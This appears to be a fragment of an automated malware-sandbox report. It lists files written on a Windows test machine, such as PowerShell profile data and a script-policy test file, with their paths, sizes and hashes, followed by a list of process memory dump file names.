                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 f0057859a614a61da8398827cc9f4bf880b594b58cc586c0c8f907349f92d8b2
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 2af32a9d7901f5529fc29e1c932cea840ca36ba692f403f7ab8665acb42ad43a
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 b6943ed40b4ee8f5d1ff63450c02ec2ad2186c20c3f9f467c2618248a06d0876
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                prep_Activatable Class_Hermes_perf.cache
                • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
                • Size 595B
                • SHA256 d4e60617c2afab8263febabe7f14f18595715078d71307a8cefe0707dae76dee
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                __PSScriptPolicyTest_wwf3kzyg.0fo.ps1
                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wwf3kzyg.0fo.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                memory/1244-109-0x000001D8AEC30000-0x000001D8AECE2000-memory.dmp
                Download

                memory/1320-308-0x0000017F803F0000-0x0000017F804A2000-memory.dmp
                Download

                memory/1760-318-0x000001F670820000-0x000001F670EB1000-memory.dmp
                Download

                memory/1928-255-0x000002539EE40000-0x000002539EEF2000-memory.dmp
                Download

                memory/2112-11-0x00007FFFAB30F000-0x00007FFFAB310000-memory.dmp
                Download

                memory/2112-18-0x00007FFFAB180000-0x00007FFFABB24000-memory.dmp
                Download

                memory/2112-14-0x000001A0290B0000-0x000001A0290D2000-memory.dmp
                Download

                memory/2112-15-0x00007FFFAB180000-0x00007FFFABB24000-memory.dmp
                Download

                memory/2112-17-0x00007FFFAB180000-0x00007FFFABB24000-memory.dmp
                Download

                memory/3256-344-0x00000200DEA00000-0x00000200DEAB2000-memory.dmp
                Download

                memory/3468-26-0x00007FFFAB180000-0x00007FFFABB24000-memory.dmp
                Download

                memory/3468-28-0x00007FFFAB180000-0x00007FFFABB24000-memory.dmp
                Download

                memory/3468-29-0x00007FFFAB180000-0x00007FFFABB24000-memory.dmp
                Download

                memory/3468-22-0x00007FFFAB180000-0x00007FFFABB24000-memory.dmp
                Download

                memory/3468-25-0x00007FFFAB180000-0x00007FFFABB24000-memory.dmp
                Download

                memory/3468-24-0x00007FFFAB180000-0x00007FFFABB24000-memory.dmp
                Download

                memory/3468-23-0x00007FFFAB180000-0x00007FFFABB24000-memory.dmp
                Download

                memory/4212-331-0x0000015EED140000-0x0000015EED1F2000-memory.dmp
                Download

                memory/4368-301-0x0000017BF2D50000-0x0000017BF2E02000-memory.dmp
                Download

                memory/4716-102-0x0000018564F60000-0x0000018565012000-memory.dmp
                Download

                memory/5188-138-0x000001F306FE0000-0x000001F307000000-memory.dmp
                Download

                memory/5188-150-0x000001F309340000-0x000001F309360000-memory.dmp
                Download

                memory/5188-140-0x000001F319540000-0x000001F319640000-memory.dmp
                Download

                memory/5188-168-0x000001F319DC0000-0x000001F319DE0000-memory.dmp
                Download

                memory/5188-119-0x000001F3058C0000-0x000001F3059C0000-memory.dmp
                Download

                memory/6072-35-0x000002255D030000-0x000002255D04E000-memory.dmp
                Download

                memory/6072-36-0x000002255D050000-0x000002255D102000-memory.dmp
                Download

                memory/6072-37-0x000002255D110000-0x000002255D11A000-memory.dmp
                Download

                memory/6104-116-0x000001B4AB2C0000-0x000001B4AB372000-memory.dmp
                Download